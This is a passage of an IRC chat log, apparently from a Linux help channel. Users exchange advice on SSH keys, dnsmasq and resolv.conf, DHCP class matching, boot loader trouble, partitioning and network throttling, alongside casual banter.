you'll only se 'error' 20:49 < jim> cloudbud, but -from- where? you would generate the key on the machine you ssh to the server from 20:49 < KOLANICH> Hello everybody. I have a very strange question. Is there any speech synthesis and speech recognition middleware on *nix OSes? I mean Windows has SAPI5, where speech synthesers are registered and then any program can use any synheser registered. Is there anything similar in *nix world? 20:49 < rasputozen> hmm youre right 20:50 < AnrDaemon> birdbolt1: If you actually want to separate uwsgi, run it into a separate container. 20:50 < birdbolt1> I cant immediately point out what security issues could arise leaving them together, but i've been considering separating them for a while. For now, I'd just like to have searate users, and distinct ownership of config folders etc 20:50 < AnrDaemon> birdbolt1: That's what docker is about. 20:50 < Mysterytrain> KOLANICH: how about speech-dispatcher 20:50 < AnrDaemon> birdbolt1: If you can't reason your actions, you're likely doing it wrong. Very likely. 20:51 < Nexilva> looks like xmonad-contrib package is not in debian anymore (testing) 20:51 < rcf> rasputozen: in any case the ordering of errors is easily controlled by the application if it's single-threaded and either alternating between stderr and stdout, or writing to stdout until an error and then writing that to stderr. 20:51 < birdbolt1> hmm looks like uwsgi is getting its own container then 20:51 < jim> cloudbud, I'm not asking for an IP address and lat/long coords, is it like your home machine? 20:52 < KOLANICH> Mysterytrain: Thank you for the info! 20:52 < cloudbud> jim : yes 20:52 < rasputozen> i think its the zsh eval builtin 20:52 < jim> ok, are you running linux at home? 20:53 < rasputozen> nvm no its not 20:53 < sklv> hi, in this makefile https://github.com/bmegli/wifi-scan/blob/master/Makefile what does LDLIBS = -lmnl mean 20:54 < Mysterytrain> xd 20:54 < sklv> is lmnl a library or a make flag? i can't find any info on it 20:55 < jim> if so, you should be able to run: ssh-keygen -t rsa -b 4096 20:55 < koala_man> sklv: -l is a flag for ld and/or gcc. it means to link in libmnl 20:55 < jim> then, when it asks for the passphrase, just hit enter twice 20:56 < sklv> koala_man: ty 20:56 < djph> that being said, a password-less ssh key can be a bad idea. 20:56 < jim> then the public key will be in ~/.ssh/id_rsa.pub 20:57 < rcf> rasputozen: to see non-reordered output in both stderr and stdout, you can always dd something to stdout and then send that process SIGUSR1 to see the status information (which is on stderr always) 20:57 < jim> and you can then run: ssh-copy-id -i ~/.ssh/id_rsa.pub (put server IP here) 20:57 < djph> jim: why stick with RSA today? I thought ecdsa were the "best practice" keys these days. 20:58 < jim> it will ask for your password 20:58 < Psi-Jack> ecdsa? No... 20:58 < Psi-Jack> ed25519, yes. 20:58 < djph> Psi-Jack: yeah, that's the one 20:58 < jim> djph, oh, didn't know that 20:58 < djph> e...something :) 20:58 < Psi-Jack> ecdsa only if you want NSA fingerprints. :) 20:58 < rasputozen> rcf: yea im certain now its something to do with the script just havent found it yet 20:58 < cloudbud> how can i generate a file with this filename_ddmmyy 20:58 < Psi-Jack> touch 20:58 < Psi-Jack> And date. 20:58 < djph> jim: not that I really pay attention to it ... just had a big "upgrade ssh / sftp" set of discussions a few months back 20:59 < jim> djph, man ssh-keygen, there's an option, I forget right now 20:59 < triceratux> Psi-Jack: solus has a history of doing weird things to the bootloader https://solus-project.com/forums/viewtopic.php?t=479 20:59 < jim> err not djph but cloudbud 21:00 < Psi-Jack> Wierd things == Continued development. ;) 21:00 < triceratux> Psi-Jack: this message i cant get past looks like it points to the initrd "Kernel panic – not syncing: VFS: Unable to mount root fs on unknown-block(0,0)" & its not because my "boot partition is full" 21:02 < triceratux> Psi-Jack: just sayin the deeper i go into this the more likely solus will wind up on the "i give up" list. & yeah its really dynamic. it could get way better at any moment ;) 21:02 < cloudbud> what jim 21:03 < triceratux> it probably boots in qemu-kvm because theyve customised their isolinux :P 21:05 < triceratux> Psi-Jack: heres the 2 best grub2 stanzas i can produce: http://pastebin.centos.org/933696/raw/ they both fail to boot with that vfs kernel panic 21:06 < triceratux> either theres something obvious im missing or something genuinely weird going on 21:07 < dgarstang> Argh. I cannot not stop resolv.conf from being overwritten. I've created a make_resolv_conf function in /etc/dhclient-enter-hooks and no luck! :( 21:08 < cloudbud> what will be the cron expression if i want to execute my script every third week 21:11 < dgarstang> Is there any way to make dnsmasq natively support search domains? 21:13 < rcf> rasputozen: I suspect the same of your FIFO issues earlier. I can duplicate the weird dropped lines in C if I constantly close and re-open the FIFO between reads to a buffer, but not if I keep it open (which will work even if I call sleep(10) between reads). 21:16 < rasputozen> rcf: im not sure if fifos are more responsive in C than they are in the shell, i suspect they would be though 21:16 < Nexilva> is there a standalone X taskbar/startmenu I can use with Xmonad, minimal, lightweight, no gtk or qt, just maybe Xlib based? 21:18 < triceratux> what i often do is run xfce4-panel even on top of fluxbox or icewm. its probably a bit gtk heavy for your needs. theres always dmenu 21:20 < rasputozen> rcf: what i dont get is why wouldnt you be able to append to a fifo through multiple writes and then read large chunks of the data instead of a 1:1 ratio between reads and writes 21:23 < rcf> rasputozen: FIFOs absolutely allow you to do this, as the OS provides them. 21:24 < djph> cloudbud: the day-of-month would be say teh 21st. You can't set a specific week (just hour, minute, day-of-month (1-31), day-of-week (0-6), month. 21:25 < rasputozen> rcf: ah so its just a limitation on what the shells do with them, or its a feature i dont know about 21:25 < lnnb> are you talkingabout the buffer mode on a pipe (not a tty like you originally stated) ? 21:26 < lnnb> because they are not line buffered through (g)libc by default 21:27 < dgarstang> Is there any way to make dnsmasq natively support search domains? 21:27 < rasputozen> lnnb: im new to using them so i dont actually know the what options the OS implemented for them 21:28 < lnnb> it's not the OS its a language issue, the OS will read/write when you tell it to 21:28 < Siecje> Why is rm -f slow over SSHFS? 21:28 < lnnb> see libc has a fflush function 21:29 < lnnb> there might be some equivalent in some other languages 21:29 < rasputozen> lnnb: thats what i mean, the full spec in the OS obviously exceeds what shells might do with them 21:30 < rasputozen> but thanks for the all the info rcf and lnnb, was helpful 21:31 < rcf> rasputozen: to understand the OS stuff, your best bet is to mess around with them in C, seeing as how that's what Linux is written in. Then you'll know whether the underlying concept is terrible or whether the shell is a terrible programming environment. 21:31 < triceratux> hrm "While it would not be my preferred distro, it is still disappointing that Solus does not seem to handle booting well." https://nwrickert2.wordpress.com/2017/10/23/solus-booting-woes/ all of his testing in VMs of course where the thing works considerably differently 21:31 < rasputozen> rcf: youre absolutely right and i agree 100% :) 21:32 < pikaro> hi, quick question, I want a socks proxy on localhost so http traffic comes from port 8888 when I proxy through 8880 for an iptables rule. I recently managed to do this, but I forgot how. (yes, I just set HISTSIZE to -1...) any advice? 21:33 < CableNinja> AnrDaemon, I changed my config around, but still no love 21:33 < rasputozen> rcf: sounds like you avoid the shell whenever you can 21:33 < CableNinja> https://pastebin.com/9Z0B8taF 21:33 < widp> I've heard docker is based on a lot of things which existed previously like cgroups and chroot. 21:33 < widp> what exactly does docker do differently? 21:33 < triceratux> in fact "Solus ... does not cooperate well with a modern and complex system. All in all, I cannot recommend the distro, because the outcome may still be harmful. If a distro cannot install properly, the results can be unpredictable." https://www.dedoimedo.com/computers/solus-2017-review.html 21:34 < triceratux> maybe this is fun after all 21:34 < SuperSeriousCat> Automatic networking, easier to setup etc etc, widp 21:36 < AnrDaemon> CableNinja: Are your clients end up in the internal.lan ? 21:36 < rcf> rasputozen: I use it quite frequently, with the constraint that I only use POSIX features. I end up with something that will work pretty much anywhere, and when I start running into their limitations that would make me think 'bash/zsh/whatever would make this better' I know I should be using a 'real' language. 21:36 < CableNinja> AnrDaemon, it gets put into pxe.lan, but then it doesnt get the right pool, and I end up with class pxeclients instead of automation-esx 21:37 < CableNinja> I've tried all 3 of the match statements 21:37 < AnrDaemon> CableNinja: I'd move that stuff around. 21:38 < rasputozen> rcf: that sounds reasonable 21:38 < CableNinja> AnrDaemon, ? 21:38 < CableNinja> AnrDaemon, move what around? 21:38 < AnrDaemon> CableNinja: Retain only classification in the class{} block, and move all options to subnet declaration 21:39 < AnrDaemon> Or pool declaration. 21:40 < birdbolt1> is there a difference between doing 21:40 < CableNinja> AnrDaemon, moved, didnt hel 21:40 < birdbolt1> su 21:40 < CableNinja> AnrDaemon, moved, didnt help 21:40 < birdbolt1> and then installing 21:40 < birdbolt1> vs just uding sudo? 21:40 < birdbolt1> using* 21:40 < AnrDaemon> birdbolt1: Yes, but not in the sense you'd need to know. 21:41 < AnrDaemon> birdbolt1: sudo does not set up operating environemnt like su does. su start completel login process, with pam modules execution and so on. 21:41 < AnrDaemon> birdbolt1: If you don't need it, like when you run a single command, sudo is more than enough. 21:42 < AnrDaemon> CableNinja: I'm wondering. Is there a way to ensure that clients fall into specific class? 21:42 < birdbolt1> thank you 21:42 < Nexilva> Hi, great success. New version fo Xmonad has the hooking functions redone, so haskell syntax is differnt a bit 21:43 < CableNinja> AnrDaemon, thats what I was doing, via mac, but it seems to not be working 21:43 < Nexilva> So now, that I hvae debian testing, xmonad, urxvt and chrome setup, now I want to setup a few more tools, such as power management. What is a good gui tool to manage power for laptop? 21:43 < AnrDaemon> Probably just error in expression syntax. 21:43 < Nexilva> I liked the KDE system settings box, it was nice 21:43 < Nexilva> But I want to keep things to a minimum 21:44 < Nexilva> Who makes a lightweight but featureful power settings program for laptops? 21:44 < phogg> Nexilva: you can probably do it all from the command line. What kind of control did you want? 21:44 < Nexilva> Like such as, what to do when lid is closed, how long before to dim screen on ac power, battery power, extremely low power, etc. etc. 21:44 < Nexilva> just basic power saving stuff 21:44 < CableNinja> AnrDaemon, yeah, but what is it? lol 21:45 < triceratux> ah "I didn't found a way to keep the existing Grub of my multiboot system. The only option is to write the Solus bootloader in main EFI. Sorry for my approximative english." https://github.com/solus-project/os-installer/issues/54 21:45 < Nexilva> No more mechanical drives, so no hdd spindown stuff is needed, when to disable usb power ports or if, when the lid is closed 21:45 < Nexilva> sleep, hibernate, etc. 21:45 < Nexilva> you know the regular normal drill. 21:46 * triceratux will not run installers 21:46 < HoloIRCUser5> Please can u help me out 21:47 < HoloIRCUser5> I needed to install windows on debians side 21:47 < HoloIRCUser5> It overwrote the MBR 21:47 < HoloIRCUser5> I passed the last two hours trying to reinstall grub 21:47 < HoloIRCUser5> But it keeps failing 21:47 < HoloIRCUser5> What am i supposed to do? 21:47 < Nexilva> HoloIRCUser5: hang on 21:48 < HoloIRCUser5> It keeps saying things like "error failed to get canonical path of aufs" 21:48 < Nexilva> so you need to 'installl' windows? I am guessing it's alredy installed and you need to restore the grub entry for windows? 21:48 < Nexilva> debian/grub can detect windows and add an entry in it's menu 21:48 < Nexilva> you don't need to reinstall/install grub, just grub-update 21:48 < Nexilva> try that as root 21:48 < AnrDaemon> CableNinja: Ok, very first problem. hardware returns type as a first byte. 21:49 < AnrDaemon> CableNinja: Second, you quoted the data, turning it into a string, not a hex values. 21:50 < AnrDaemon> CableNinja: Overall, `man dhcp-eval` 21:50 < HoloIRCUser5> Nexilva: same error. "Failed to get canonical path of aufs" 21:51 < im0nde> Hi, anyone uses the fingerprint scanner on lenovo thinkpads with linux? what software do you use, there seem to be a few choices (fprind, fingerprint-gui..) 21:51 < Nexilva> :( I don't know what that means, google the error and see what it meabs 21:51 < Nexilva> means* 21:51 < im0nde> I have a x230 21:51 < HoloIRCUser5> Uffi :( 21:51 < CableNinja> ZOMG 21:52 < CableNinja> AnrDaemon, got it.. 21:52 < ddoobb> Has the strong Ubuntu 18.04 LTS release killed off the momentum of competing distros? Discuss. 21:52 < fryguy> im0nde: 99% sure the fingerprint scanner on that model isn't usable 21:52 < fryguy> in linux 21:52 < CableNinja> match if substring(hardware, 1, 4) = 00:50:56:07; 21:52 < CableNinja> ended up being the right combination 21:52 < AnrDaemon> CableNinja: "If nothing works, read the manual at last" ? 21:52 < CableNinja> I have been reading the manual lol 21:52 < lauren> hey folks, any suggestions about how to reliably map from the rows of `parted -sm /dev/sda print free` to /dev paths? can I safely just use the index of a partition to get its /dev file, or does partition creation order affect it? 21:52 < AnrDaemon> Diagonally? :) 21:52 < CableNinja> I usually only use IRC as a very last resort before I get a bottle of rum 21:52 < im0nde> fryguy: why? it works with fingerprint-gui, but I would like someting without gui (cli) that allows to enter the password alternatively 21:53 < lauren> CableNinja: if you drink the rum before you start work in the first place, you won't have as many problems 21:53 < AnrDaemon> CableNinja: By this weather, Schweppes Bitter Lemon seems more attractive. 21:53 < CableNinja> lauren, at least until you wake up sober and wonder how the fuck it works 21:54 < fryguy> im0nde: interesting that it works at all, maybe they've finally updated driver support. last I checked it wasn't support on the recent generations of thinkpads 21:54 < lauren> anyway, I'm finding this weirdly difficult to google 21:54 < lauren> it's like nobody has ever wanted to figure out partition device file indexes before or something 21:54 < AnrDaemon> lauren: What do you actually want to achieve? 21:54 < AnrDaemon> lauren: Sounds like a drastic case of http://xyproblem.info/ 21:55 < lauren> hehe familiar 21:55 < Nexilva> zram question: if you have a dual core cpu, HT, with 4 threads, and 4gb ram, should you make 4x 512 zram devices, or 2x 1024 (for a 2gb compressed ram store) ? 21:55 < lauren> I think it's not, let me explain why 21:55 < im0nde> fryguy: yeah it works with both choices, but fprind *ONLY* asks for the finger and switches to passwort after 5 tries. I would like to always have the option instantly. they gui one does that, but ... needs a gui as far as I can tell 21:55 < AnrDaemon> Nexilva: You should just uninstall zram. 21:56 < triceratux> ddoobb: they killed their own momentum. its not hard to be ubuntu. 80% of users want a system that works, whether theyre n00bs or not 21:56 < AnrDaemon> Unless you have so much RAM that you can't use it all, it's useless. 21:56 < Nexilva> You can't uninstall it, it comes with kernel. 21:56 < Nexilva> I guess you could if you rebuilt it. I don't want to. 21:56 < Nexilva> Why do you not like zram? 21:56 < AnrDaemon> It's useless. 21:56 < Nexilva> No it's not. 21:56 < Psi-Jack> ^ 21:56 < Psi-Jack> Yes, it pretty much is. 21:56 < Nexilva> Lots of people find it useful including myself. 21:56 < Nexilva> Explain, why? 21:57 < Psi-Jack> It costs more and benefits less. 21:57 < AnrDaemon> Well, then you know what's good for you. I don't understand the purpose of your question then. 21:57 < triceratux> Psi-Jack: yer Solus works because of yer goofiboot 21:57 < Nexilva> I asked about it's configuration, not whether it is useful or not. 21:57 < CableNinja> AnrDaemon, thanks for the help, I was really about to go get rum.. lol 21:57 < Psi-Jack> triceratux: wut? 21:57 < alexandre9099> hi, is it possible to "emulate" a slow network connection? i know that there is a windows tool for that, but not sure for linux 21:57 < ddoobb> triceratux Yeah looks like a lost opportunity for other distros. Just wish such a release came when Win 8 was flopping but Win10 killed of Ubuntu desktop's future in a similar fashion. 21:57 < alexandre9099> like changing the speed and latency 21:57 < fryguy> alexandre9099: there's a tool on github called comcast that does that 21:57 < AnrDaemon> alexandre9099: Plentiful. 21:57 < CableNinja> you sure thats on github? 21:58 < Psi-Jack> triceratux: That does sound like one of the odd names Solus might use.. Like the Hardware Manager is doflicky. :) 21:58 < fryguy> https://github.com/tylertreat/comcast 21:58 < CableNinja> I thought they just screwed you without a repo 21:58 < CableNinja> :) 21:58 < AnrDaemon> alexandre9099: You can delay or drop packets at random using iptables. 21:58 < bls> alexandre9099: also check out http://lartc.org/lartc.html 21:58 < kenrin> comcast, hahaha 21:59 < alexandre9099> bls, unable to fulfill request :/ 21:59 < Wulf> alexandre9099: you could setup a vpn on the other side of the world and route all traffic through it 21:59 < alexandre9099> Wulf, oh well, it *works* but not what i'm looking for :D 21:59 < triceratux> Psi-Jack: the solus install insists you install their bootloader to the efi partition. its from clear software & its a fork of gummiboot. im guessing it makes it so that weird initrd is recognised. it looks to me like my stock grub doesnt get it. it doesnt unpack well 22:00 < dgarstang> Someone suggested earlier I use 'chattr +i /etc/resolv.conf' to make dnsmasq not write /etc/resolv.conf. That has the side effect that it makes the startup script return non zero 22:00 < Psi-Jack> triceratux: Though goofiboot was retired, from what I can see. 22:00 < alexandre9099> AnrDaemon, i need consistent latency (let's say i want all packets to take 500ms to get out of my computer) 22:00 < AnrDaemon> alexandre9099: They already suggested comcast as a handy wrapper around system tools. 22:00 < alexandre9099> yep, i'll try it (nice name XD) 22:00 < Psi-Jack> triceratux: Yeah, goofiboot was retired. 22:00 < Psi-Jack> https://github.com/solus-cold-storage/goofiboot 22:01 < lauren> I'm writing an install script for a thing that, among the steps, wants to create a partition on an unpartitioned drive in whatever unpartitioned space is largest. to do this, I'm currently using parted to get a list of partitionable drives, then iterating through and doing `parted -sm unit B print free` to get a list of the partitions and free spaces on the drive. then I'm sorting by free zone size and creating a partition in the 22:01 < lauren> largest one using the command `parted -sm mkpart xfs ${start}B ${end}B` (with MiB-rounded-up start and MiB-rounded-down end positions). I'd then like to find out what /dev file this created to allow putting xfs on it and adding it to fstab. How would you get the /dev file from this or a process like this? I'm open to using different commands if needed but would very mildly prefer to not change my existing script too 22:01 < lauren> much. 22:01 < dgarstang> Sure would be nice to know why dnsmasq rewrites /etc/resolv.conf every time it starts! 22:01 < triceratux> Psi-Jack: in that case theyve got some other kind of problem with their boot. im just getting started with these guys & they do tend to move pretty fast when they want to 22:01 < freelancerbob> can you please explain what does mean this command ldapmodify -Y EXTERNAL 22:01 < lauren> AnrDaemon: see above 22:01 < fryguy> dgarstang: what's in your /etc/dnsmasq.conf i'm not aware of any setting that causes it to do that, but I could be wrong 22:02 < dgarstang> :q! 22:02 < dgarstang> oops 22:02 < Psi-Jack> freelancerbob: Modify LDAP, EXTERNAL authentication. 22:02 < dgarstang> fryguy: neither am I. i See lots of people with the same issue tho when I google 22:03 < AnrDaemon> lauren: 1. You can look for /dev/disk/by-XXX/ nodes. 22:03 < lauren> I didn't think any of those helped me, though. are you thinking of by-id? 22:04 < AnrDaemon> Especially /dev/disk/by-partlabel/ 22:04 < lauren> well, I take that back partially. on GPT, I can use by-partlabel 22:04 < lauren> yeah 22:04 < ahi2> dgarstang, maybe the dns info in the router overwrites what is on /etc/resolv.conf 22:04 < AnrDaemon> I'd consider by-id a last resort. 22:04 < lauren> but I'd *prefer* if this also worked on MBR, because I'm not comfortable that MBR is completely gone yet. it might be the case that I should just error out and tell the user "hey don't use ancient crap" if I detect MBR 22:04 < dgarstang> ahi2: By what mechanism? This is happening on centos on local vagrant and also on centos 7 on remote server 22:04 < AnrDaemon> But it's most specific. 22:05 < Psi-Jack> GPT is completely usable in most systems as of the past ~10 years. 22:05 < Psi-Jack> Even on non-UEFI systems. 22:05 < ddoobb> If you are going to have a dual boot with Windows is it necessary to have the /boot at the start of the disk or within 100GB from the start? An article I'm reading says this. 22:05 < AnrDaemon> Psi-Jack: Not a question of usability, but of presence. 22:05 < lostfile> i would like to inform you im going to attempt to install gentoo 22:05 < ahi2> dgarstang, im no expert i just had that issue once. i changed the dns but it got overwritten 22:05 < Psi-Jack> GPT is also, by far, better than MBR. 22:05 < lauren> enthusiastically agreed 22:05 < AnrDaemon> ddoobb: How's one related to another? 22:05 < Psi-Jack> Including simple things like, making a proper backup of the partition tables. 22:06 < AnrDaemon> ddoobb: You don't need separate /boot partition at all. 22:06 < lauren> ddoobb: are you referring to the EFI system partition? 22:06 < AnrDaemon> Psi-Jack: Second time, we are aware of that, no need to sell it to us. 22:06 < ddoobb> AnrDaemon: I'm hearing it's recommended so I'm going ahead with it. My earlier installation didn't have a /boot partition. 22:07 < Psi-Jack> Just responding to lauren's "not being comfortable" that MBR is completely gone "yet". 22:07 < lauren> right, I don't mean whether it's a good idea, I mean whether the ubuntu installer will have automatically used it on user's computers 22:07 < ddoobb> lauren no the /boot 22:07 < AnrDaemon> You don't need /boot partition. Moreover, it's often do more harm than good. 22:07 < Psi-Jack> ddoobb: /boot is not required. Nor does it have to be within the first 100GB of the disk, either. 22:07 < Psi-Jack> Misinformation. 22:07 < ddoobb> Psi-Jack Are there any advantages to having it? I'm hearing it's a good practice 22:08 < lauren> I would prefer if I could ask users to install ubuntu with GPT, but unfortunately the ubuntu installer doesn't seem to have any way to pick (???) 22:08 < AnrDaemon> ddoobb: Hearing from? 22:08 < Psi-Jack> ddoobb: Depends. If you use systemd-boot, yes. If not, no. 22:08 < esselfe> I've heard you only want a separate /boot partition if you want the whole rootfs encrypted 22:08 < Psi-Jack> ddoobb: if you dual-boot multiple linux distros (who does this silly thing?), also yes. 22:08 < lauren> and when I tested on a VM, it automatically selected MBR when I tried it out on a BIOS vm 22:08 < AnrDaemon> lauren: If it starts with an empty drive, it will make GPT if booted in EFI. 22:08 < lauren> oh man I have several computers with >4 linux installs 22:09 < ldlework> lauren: (hi) have you tried nixos? 22:09 < Psi-Jack> lauren: Absolutely SILLY! :p 22:09 < lauren> AnrDaemon: right. is that the case even if it's booted in bios mode in efi? will it detect efi's presence? 22:09 < lauren> Psi-Jack: I can't argue with that, but I intend to keep being silly for a bit due to time constraints 22:09 < AnrDaemon> lauren: If you boot it in legacy, there will be no EFI. 22:10 < lauren> yeah, that's what I was worried about. so there's some unknown error rate where something will go wrong with the way the ubuntu install was booted and we'll get an MBR install 22:10 < AnrDaemon> lauren: Speaking fo virtualbox, https://anr-daemon.livejournal.com/17857.html 22:10 < lauren> heh I finally bought vmware because virtualbox was giving me too many kernel panics for my liking 22:10 < triceratux> Psi-Jack: found the previous versions & the packages http://www.virtualpanic.com/isos/Linux/Solus/ https://mirror.math.princeton.edu/pub/solus-packages/ its only a matter of time 22:10 < AnrDaemon> lauren: All my recent Ubuntu VM's running in EFI. 22:10 < Psi-Jack> lauren: Why not... kvm? 22:10 < ddoobb> AnrDaemon: https://superuser.com/questions/522971/is-a-boot-partition-always-necessary 22:10 < lauren> kvm for what purpose 22:11 < Psi-Jack> lauren: Virtualization. 22:11 < AnrDaemon> ddoobb: Please don't bring karmaoverflow for argument. 22:11 < lauren> and AnrDaemon, I intentionally tested with both EFI and BIOS vms 22:11 < lauren> ldlework: reasonable suggestion that sounds interesting! am hesitant for ... hmm..... actually... 22:11 < AnrDaemon> Psi-Jack: What "virtualization"? As a deployment system? Sure, why not. As a means to run test environments? Not a chance. 22:12 < Psi-Jack> Absolutely. 22:12 < ldlework> lauren: been using as my main laptop dev os for about 4 months now and it is like enlightment 22:12 < lauren> oh I mean that sounds great 22:12 < lauren> the use case is kinda different here though 22:12 < ldlework> lauren: the whole of your linux config in one expression 22:12 < ldlework> reproducable 22:12 < ldlework> in a sturdy sense 22:12 < Psi-Jack> VMware is excessively overpriced, overcomplicated, not as performant as Qemu/KVM, and doesn't even do as much anymore. :) 22:12 < lauren> so, ok, hear me out, how well does nixos support running ubuntu nvidia-docker containers? 22:13 < triceratux> ddoobb: my /boot partition is 1G. if i check the space it says 94.2% free. thats a great investment when the boottime messages suggest youre out of space in your boot partition 22:13 < lauren> Psi-Jack: that's pretty fair, but I decided to pay for it anyway 22:13 < lauren> turns out you can think something sucks and still want to pay money for it 22:13 < ldlework> lauren: i am using my nvidia card with nixos so I imagine that if you do whatever you do on any linux to get that work, it will work 22:13 < lauren> shrug 22:13 < ldlework> lauren: nixos is still normal linux, same kernel, setc 22:13 < ldlework> but everything is managed by a haskell-like expression language 22:13 < ldlework> which is pure and lazy and leads to high reproducability 22:14 < esselfe> why does my 4.16.2 kernel has two penguin as boot logo? 22:14 < ldlework> like, i don't have to mess with xorg configuration, i just use the settings exposed by the nixos packages relevant to x server 22:14 < ldlework> now generalize that across the entire config surface of a typical distro 22:14 < ldlework> you can put it into git! 22:14 < Psi-Jack> Ugh. 22:14 < lauren> that does sound pretty cool. I'd enjoy explaining context later for why that doesn't sound like a great idea to me this instant, but I might check it out at some point 22:14 < lauren> I do think it would be cool as a dev machine 22:14 < Psi-Jack> You lost me at Haskell 22:14 < ldlework> hit up #nixos-chat 22:14 < AnrDaemon> esselfe: They are breeding. 22:15 < esselfe> nice 22:15 < ldlework> this place is triggered by nixos 22:15 < lauren> but this is for an unusual deployment situation 22:15 < ldlework> lauren: reproducable server environments are exactly what you want 22:15 < lauren> oh man let's hear the issues with it 22:15 < lauren> ldlework: absolutely 22:15 < esselfe> so probably a sign of 4.x branch 22:15 < ldlework> oh unusual, my bad 22:15 < ldlework> I misread 22:16 < lauren> I mean this sounds great if I had time to rebuild the hacks we threw together around ubuntu for it 22:16 < lauren> is the main thing 22:16 < ldlework> lauren: anyway, there are some cool fp dudes in #nixos-chat that I bet you jive with. and they can really explicate the advantages better than i can. 22:16 < lauren> reproduceable definitely sounds nice 22:16 < lauren> speaking of which, gtg 22:16 < lauren> AnrDaemon/esselfe: I'd love to hear what complaints you have about nix though 22:17 < AnrDaemon> nix-what? 22:17 < esselfe> lauren I haven't have any but systemd since a while (>6 months) 22:18 < esselfe> everything is perfect using Linux 22:18 < esselfe> perhaps conky which doesn't compile with recent lua... 22:18 < esselfe> or openttd not compiling with recent icu 22:19 < esselfe> I run Lunar, a source-based distribution 22:19 < esselfe> I formatted my old OS, but now I'm running fine... it took some 3 weeks to rebuild though 22:20 < cseder> nothing is perfect 22:20 < esselfe> Linux is perfect to me, it's per-person 22:21 < esselfe> ok it has two penguins as logo ;) 22:21 < cseder> everything has bugs, hence not perfect. But good enough 22:22 < cseder> esselfe you mean the logo when booting up? 22:22 < esselfe> yes 22:22 < cseder> So you have two cores 22:22 < esselfe> the only bug I see is irssi with some non-refreshing often enough status bar 22:22 < cseder> two cores == two penguins 22:22 < esselfe> perhaps yes 22:23 < Psi-Jack> What about 64 cores? 22:23 < esselfe> I'd need a rack right? 22:24 < esselfe> I have a laptop... 22:24 < cseder> hmmm... 22:24 < Psi-Jack> A spice rack, maybe. :) 22:24 < nchambers> the spice must flow 22:24 < Psi-Jack> Everyone knows, afterall, that the spice must flow. 22:24 < Psi-Jack> lol 22:24 < nchambers> ha 22:24 < cseder> 64 penguins would take a lot of screen space 22:24 < Psi-Jack> nchambers++ 22:24 < nchambers> :D 22:26 < Psi-Jack> nchambers: The question is.... WHY must it flow? ;) 22:26 < nchambers> oh god 22:26 < nchambers> i need to re-read these books 22:26 < alexandre9099> hmm comcast throttler does not seem to be working, i still get 5ms to my router :/ 22:26 < nchambers> its been a while 22:27 < Psi-Jack> And when are they going to make the second trilogy? :) 22:27 < nchambers> well 22:27 < nchambers> i don't think frank is going to be doing one any time soon 22:27 < esselfe> who's frank, what trilogy, which books? :P 22:27 < nchambers> also the spice was for transporting of course! 22:28 < nchambers> esselfe: oh man you're missing out 22:28 < Psi-Jack> Well, he himself is not, but the Sci-Fi trilogy of Frank Herbert's Dune, didn't cover everything. :/ 22:28 < nchambers> is his son still writing? 22:28 < nchambers> idk if i ever read any of his stuff 22:29 < dgarstang> dnsmasq... what file does it use as the source of truth? is it /etc/resolv.conf or /var/run/dnsmasq/resolv.conf? 22:32 < cseder> if you have 16 cores you'll get 16 penguins but I don't know what would be the result with 64 cores. The logos doesn't use a line break, so I guess it would only show as many as the screen could fit in one line 22:32 < esselfe> they should shrink 22:33 < esselfe> so it's really representative 22:35 < cseder> dgarstang I think /etc/resolv.conf should include only 127.0.0.1 and the other the config for dnsmasq 22:36 < dgarstang> cseder: I need search domains. When I edit /resolv.conf, and restart dnsmasq it blows /etc/resolv.conf away. When I edit /var/run/dnsmasq/resolv.conf and restart dnsmasq, it gets copied to /etc/resolv.conf and those settings seem to take effect 22:36 < kidnextdoor> guy 22:36 < kidnextdoor> guys 22:36 < kidnextdoor> please help me please 22:36 < dgarstang> ... which makes me think I should be making changes to /var/run/dnsmasq/resolv.conf NOT /etc/resolf.conf 22:36 < kidnextdoor> i want to compile a program to run on linux using codeblocks with mingw64 on windows 22:36 < Psi-Jack> kidnextdoor: We don't support Windows here. 22:36 < nchambers> its not that easy 22:36 < cseder> dgarstang https://superuser.com/questions/894513/resolv-conf-keeps-getting-overwritten-when-dnsmasq-is-restarted-breaking-dnsmas#988932 22:37 < kidnextdoor> i know, but i want to compile it for linux 22:37 < nchambers> why? 22:37 < Psi-Jack> kidnextdoor: We don't support Windows. 22:37 < kidnextdoor> ok thanks 22:37 < Psi-Jack> Boot up a VM, running Linux, Compile. Profit. 22:38 < cseder> dgarstang DNSMASQ_EXCEPT=lo 22:38 < cseder> to /etc/defaults/dnsmasq to solve the problem. 22:38 < dgarstang> cseder: saw that a few hours ago. tried it. It has no effect 22:38 < cseder> ah.. 22:38 < searedvandal> Psi-Jack, he could probably compile it in WSL if its win10 also 22:38 < Psi-Jack> WSL != Linux, so also unsupported. :p 22:38 < dgarstang> cseder: is that supposed to be an environment variable? 22:39 < dgarstang> Putting it in DNSMASQ_OPTS has no effect 22:39 < nodlc> windows cool, winmine.exe is the #1 22:39 < cseder> dgarstang no, it is a line in the config file 22:39 < dgarstang> so DNSMASQ_OPTS='DNSMASQ_EXCEPT=lo' has no effect and just DNSMASQ_EXCEPT=lo on it's own also has no effect 22:40 < nchambers> whats the output of `declare -p DNSMASQ_OPTS` 22:40 < Psi-Jack> dgarstang: That's not how you use dnsmasq opts. :p 22:40 < cseder> dgarstang so you have tried adding DNSMASQ_EXCEPT=lo to the /etc/defaults/dnsmasq file? 22:41 < dgarstang> Psi-Jack: Based on the fact "[ -n "$DNSMASQ_OPTS" ] && OPTIONS="$OPTIONS $DNSMASQ_OPTS"" is in the init script, it looks like it to me 22:41 < dgarstang> cseder: Yes 22:41 < Psi-Jack> dgarstang: Those are --arguments. 22:41 < dgarstang> Psi-Jack: I know. Where does this alleged DNSMASQ_EXCEPT go? 22:42 < dgarstang> I'm also on CentOS. The blog post is Ubuntu 22:42 < Psi-Jack> dgarstang: DNSMASQ_EXCEPT="--except-interface=lo" 22:42 < phogg> dgarstang: that's an important distinction since as far as I know RH land doesn't use /etc/defaults/ the way Debian land does 22:42 < dgarstang> Psi-Jack: and I also tried that. no effect 22:42 < Psi-Jack> What is the actual problem you're trying to solve? 22:42 < dgarstang> phogg: the startup script sources /etc/defaults/dnsmasq 22:43 < ddoobb> What's a ballpark minimum / partition size to use for a desktop installation? 22:43 < phogg> dgarstang: yeah, that's not the same 22:43 < Psi-Jack> ddoobb: 20GB 22:43 < dgarstang> Psi-Jack: The /etc/resolv.conf keeps getting rewritten when dnsmasq is restarted 22:43 < Psi-Jack> dgarstang: That's not being done by dnsmasq. 22:43 < dgarstang> Psi-Jack: It sort of seems like I should be making changes to 